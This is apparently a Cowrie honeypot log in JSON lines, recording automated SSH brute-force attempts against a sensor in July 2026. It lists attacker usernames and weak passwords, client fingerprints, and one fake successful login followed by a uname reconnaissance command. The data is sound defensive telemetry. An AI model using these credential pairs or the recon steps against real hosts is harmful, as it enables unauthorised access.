{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:56:43.830954Z","src_ip":"196.196.150.5","session":"f8d18b92df5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"1234","message":"login attempt [sysadmin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:56:44.291231Z","src_ip":"196.196.150.5","session":"f8d18b92df5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:56:45.402785Z","src_ip":"196.196.150.5","session":"f8d18b92df5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":52692,"dst_ip":"10.17.0.5","dst_port":22,"session":"3357955dae9b","protocol":"ssh","message":"New connection: 8.210.75.243:52692 (10.17.0.5:22) [session: 3357955dae9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:56:47.401921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:56:47.405958Z","src_ip":"8.210.75.243","session":"3357955dae9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":46796,"dst_ip":"159.203.135.109","dst_port":22,"session":"d89b02aa1644","protocol":"ssh","message":"New connection: 159.65.58.200:46796 (159.203.135.109:22) [session: d89b02aa1644]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:56:51.695097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:56:51.929326Z","src_ip":"159.65.58.200","session":"d89b02aa1644","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:56:51.932404Z","src_ip":"159.65.58.200","session":"d89b02aa1644","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stepants","password":"123456","message":"login attempt [stepants/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:56:53.508481Z","src_ip":"159.65.58.200","session":"d89b02aa1644","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:56:54.801493Z","src_ip":"159.65.58.200","session":"d89b02aa1644","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":36558,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c0f77820c4c","protocol":"ssh","message":"New connection: 8.210.75.243:36558 (10.17.0.5:22) [session: 5c0f77820c4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:57:08.497910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:57:08.501857Z","src_ip":"8.210.75.243","session":"5c0f77820c4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.88.42.180","src_port":42482,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d3e4dee0330","protocol":"ssh","message":"New connection: 23.88.42.180:42482 (10.17.0.5:22) [session: 7d3e4dee0330]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:57:09.970793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:57:09.974452Z","src_ip":"23.88.42.180","session":"7d3e4dee0330","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:57:10.069649Z","src_ip":"23.88.42.180","session":"7d3e4dee0330","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"neo","password":"neo123","message":"login attempt [neo/neo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:57:10.359663Z","src_ip":"23.88.42.180","session":"7d3e4dee0330","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:57:11.458283Z","src_ip":"23.88.42.180","session":"7d3e4dee0330","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":59734,"dst_ip":"159.203.135.109","dst_port":22,"session":"30dc164d7bf6","protocol":"ssh","message":"New connection: 103.98.149.87:59734 (159.203.135.109:22) [session: 30dc164d7bf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:57:12.141215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:57:12.145485Z","src_ip":"103.98.149.87","session":"30dc164d7bf6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:57:12.663132Z","src_ip":"103.98.149.87","session":"30dc164d7bf6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:57:13.377330Z","src_ip":"8.210.75.243","session":"5c0f77820c4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:57:13.415641Z","src_ip":"103.98.149.87","session":"30dc164d7bf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:57:14.651395Z","src_ip":"103.98.149.87","session":"30dc164d7bf6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:57:19.780038Z","src_ip":"8.210.75.243","session":"5c0f77820c4c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:57:20.604733Z","src_ip":"8.210.75.243","session":"5c0f77820c4c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:57:20.606841Z","src_ip":"8.210.75.243","session":"5c0f77820c4c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:57:20.815824Z","src_ip":"8.210.75.243","session":"5c0f77820c4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":38016,"dst_ip":"10.17.0.5","dst_port":22,"session":"4962450df9c9","protocol":"ssh","message":"New connection: 103.15.222.183:38016 (10.17.0.5:22) [session: 4962450df9c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:57:24.166249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:57:24.169883Z","src_ip":"103.15.222.183","session":"4962450df9c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:57:24.402449Z","src_ip":"103.15.222.183","session":"4962450df9c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"290892","message":"login attempt [root/290892] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:57:25.103393Z","src_ip":"103.15.222.183","session":"4962450df9c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00194787979126,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:57:25.794832Z","src_ip":"170.64.224.25","session":"2f20f9100332","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:57:26.338202Z","src_ip":"103.15.222.183","session":"4962450df9c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":48664,"dst_ip":"10.17.0.5","dst_port":22,"session":"e515264e49db","protocol":"ssh","message":"New connection: 8.210.75.243:48664 (10.17.0.5:22) [session: e515264e49db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:57:38.889541Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":50584,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f78b6cf368c","protocol":"ssh","message":"New connection: 190.244.39.224:50584 (159.203.135.109:22) [session: 4f78b6cf368c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:57:57.700225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:57:57.705774Z","src_ip":"190.244.39.224","session":"4f78b6cf368c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:57:57.873827Z","src_ip":"190.244.39.224","session":"4f78b6cf368c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"anakonda1","message":"login attempt [root/anakonda1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:57:58.544604Z","src_ip":"190.244.39.224","session":"4f78b6cf368c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:57:59.718115Z","src_ip":"190.244.39.224","session":"4f78b6cf368c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:58:00.686755Z","src_ip":"8.210.75.243","session":"8aee0966e125","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:58:10.000488Z","src_ip":"8.210.75.243","session":"dfecd5d63a0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.249.8","src_port":32830,"dst_ip":"10.17.0.5","dst_port":22,"session":"f772e65d1880","protocol":"ssh","message":"New connection: 162.144.249.8:32830 (10.17.0.5:22) [session: f772e65d1880]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:58:22.189971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:58:22.194055Z","src_ip":"162.144.249.8","session":"f772e65d1880","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:58:22.221515Z","src_ip":"162.144.249.8","session":"f772e65d1880","protocol":"ssh"}
